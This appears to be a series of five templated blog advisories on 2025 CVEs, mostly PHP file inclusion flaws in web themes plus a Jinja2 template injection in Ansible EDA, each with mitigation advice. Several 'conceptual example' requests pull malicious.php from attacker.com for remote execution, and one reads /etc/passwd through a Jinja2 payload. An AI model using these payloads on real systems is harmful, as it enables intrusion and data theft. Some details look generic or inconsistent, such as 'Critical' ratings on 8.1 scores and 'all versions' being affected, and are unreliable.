Author: Ameeba

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently released a vulnerability report CVE-2025-52815, which underscores a significant potential security issue in AncoraThemes CityGov. This vulnerability pertains to an ‘Improper Control of Filename for Include/Require Statement in PHP Program’ or more commonly known as ‘PHP Remote File Inclusion’. The vulnerability affects the versions of CityGov from n/a through 1.9. This vulnerability is critical because it can lead to a potential system compromise or data leakage, making it a significant concern for the cybersecurity community.

Vulnerability Summary

CVE ID: CVE-2025-52815
Severity: High (8.1 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

AncoraThemes CityGov | n/a through 1.9

How the Exploit Works

The PHP Remote File Inclusion vulnerability in AncoraThemes CityGov works by leveraging the improper control of filename for include/require statement in PHP Program. This allows an attacker to inject malicious PHP scripts or files to be included and executed by the server. The vulnerability allows for Local File Inclusion (LFI), which permits attackers to include local files from the server, potentially exposing sensitive information or executing malicious code.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request, injected with a malicious payload.

GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, the attacker tricks the server into including and executing the malicious.php file from their server.

Mitigation Guidance

Given the high severity of this vulnerability, it’s paramount to apply the vendor-released patch immediately. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. These systems can be configured to block or alert on attempts to exploit this vulnerability until the official patch can be applied. However, this is a stop-gap solution, and appropriate patches should be applied as soon as possible to fully mitigate the risk.

Overview

This blog post details the critical vulnerability identified as CVE-2025-49521, which affects the EDA component of the Ansible Automation Platform. The flaw allows authenticated users to inject malicious expressions that execute commands or access sensitive files on the EDA worker. In OpenShift environments, this vulnerability can lead to service account token theft. Given its severity and the potential for system compromise or data leakage, it is crucial for users and administrators of Ansible Automation Platform to understand and address this vulnerability promptly.

Vulnerability Summary

CVE ID: CVE-2025-49521
Severity: Critical (8.8 CVSS Score)
Attack Vector: User-supplied Git branch or refspec values
Privileges Required: User-level
User Interaction: Required
Impact: System compromise or data leakage, service account token theft in OpenShift environments

Affected Products

Product | Affected Versions

Ansible Automation Platform | All versions up to and including the latest version
OpenShift | All versions when integrated with Ansible Automation Platform

How the Exploit Works

The flaw works by exploiting user-supplied Git branch or refspec values that are evaluated as Jinja2 templates in the EDA component of the Ansible Automation Platform. An authenticated user can inject malicious expressions, which can execute commands or access sensitive files on the EDA worker. In an OpenShift environment, this vulnerability can be leveraged to steal service account tokens.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:

POST /api/v1/ansible/git-refspec HTTP/1.1
Host: ansible.example.com
Content-Type: application/json
{ "git_refspec": "{{ lookup('file', '/etc/passwd') }}" }

In this example, the malicious user uses the Jinja2 template feature in Git branch or refspec values to read the contents of the ‘/etc/passwd’ file.

Mitigation Guidance

The most effective method to mitigate this vulnerability is to apply the patch provided by the vendor. If the patch cannot be applied immediately, using WAF (Web Application Firewall) or IDS (Intrusion Detection System) as a temporary mitigation can provide some level of protection. These security measures should be configured to detect and block the malicious Jinja2 expressions. However, these are only temporary solutions and the vendor’s patch should be applied as soon as possible to fully secure your system.

Overview

A severe vulnerability has been identified as CVE-2025-52814, affecting a PHP program in ovatheme BRW, a popular theme for numerous websites. The vulnerability is a type of PHP Remote File Inclusion (RFI) that can potentially allow an attacker to execute arbitrary PHP code on the server. This can lead to a complete system compromise or data leakage. Given the widespread usage of ovatheme BRW and the potential impact of this vulnerability, it is of utmost importance that administrators and developers take note and implement the necessary mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2025-52814
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

ovatheme BRW | n/a through 1.7.9

How the Exploit Works

The PHP Remote File Inclusion vulnerability occurs when the ‘include’ or ‘require’ statements in PHP are manipulated to include files from a remote server. By exploiting this vulnerability, an attacker could include a malicious PHP script from a remote server and execute it within the context of the affected application. This could lead to unauthorized access, data leakage, or even a complete system compromise.

Conceptual Example Code

Here’s a conceptual example of how an attacker may exploit this vulnerability. The attacker could manipulate a URL or form input field that takes in the name of a file to be included as part of the PHP server-side scripting.

GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerablewebsite.com

In this example, the attacker tricks the server into including ‘malicious_file.php’ from ‘attacker.com’ instead of a local file. The server then executes this malicious file leading to potential system compromise.

Recommended Mitigation

To mitigate this vulnerability, the vendor has released a patch. All users of ovatheme BRW should promptly update their software to the latest version. Alternatively, as a temporary mitigation, users can implement Web Application Firewall (WAF) rules or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.

Overview

The Common Vulnerabilities and Exposures system (CVE) serves as a catalog for publicly disclosed cybersecurity vulnerabilities. In this post, we will delve into the details of CVE-2025-52812, a critical vulnerability found in ApusWP Domnoo that allows PHP Local File Inclusion. This vulnerability, if exploited, could lead to system compromise or data leakage. It’s a serious vulnerability that affects all versions of Domnoo up to 1.49 and requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-52812
Severity: Critical (8.1 CVSS score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

ApusWP Domnoo | up to 1.49

How the Exploit Works

The vulnerability lies in the improper control of the filename for the include/require statement in the PHP program. An attacker can manipulate this to include files from remote servers, leading to PHP Remote File Inclusion (RFI). This means the attacker can execute arbitrary code or scripts disguised as a system file to gain unauthorized access to the system or exfiltrate data.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. The attacker sends a malicious HTTP POST request to a vulnerable endpoint on the target server. The payload includes a URL that points to a malicious PHP file on a different server under the attacker’s control.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file_url": "http://attacker.com/malicious.php" }

In this example, `http://attacker.com/malicious.php` is the remote file that contains malicious code. When this request is processed by the server, the server includes the malicious file in its execution, causing potential compromise of the system.

Mitigation

To mitigate this vulnerability, users should apply the vendor patch as soon as possible. If applying the patch is not immediately feasible, you can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. Remember, these mitigation measures only reduce the risk and do not eliminate it. The only surefire way to fix the vulnerability is to update to a secure version of the software.

Overview

The cybersecurity landscape is under a constant state of threat, with new vulnerabilities being discovered regularly. One such recent discovery is the CVE-2025-52809. This vulnerability affects the National Weather Service Alerts software, particularly versions up to and including 1.3.5, posing a significant threat to its users. It pertains to an Improper Control of Filename for Include/Require Statement in PHP Program, also known as PHP Remote File Inclusion vulnerability. The concerns emerging from this vulnerability involve the potential for system compromise and data leakage, which makes it crucial for affected users to take immediate action.

Vulnerability Summary

CVE ID: CVE-2025-52809
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

John Russell National Weather Service Alerts | Up to and including 1.3.5

How the Exploit Works

The vulnerability CVE-2025-52809 is a PHP Remote File Inclusion (RFI) exploit. In simple terms, it allows an attacker to inject a remote file (usually a malicious script) into a PHP program. This happens when the PHP application does not properly control the filename that is passed to the ‘include’ or ‘require’ statement. Consequently, an attacker can manipulate these statements to include files from a remote server, which then get executed by the server hosting the vulnerable application.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable.example.com

In the above example, the attacker tricks the server into executing a malicious script (`malicious_script.txt`) hosted on their own server (`attacker.com`).

Mitigation

To mitigate this vulnerability, users are strongly advised to apply the patch provided by the vendor. In cases where immediate patching is not feasible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure, which can help in detecting and blocking attempted exploits of this vulnerability. Furthermore, it is always a good practice to validate, sanitize, and limit input in ‘include’ and ‘require’ statements in PHP applications to prevent such vulnerabilities.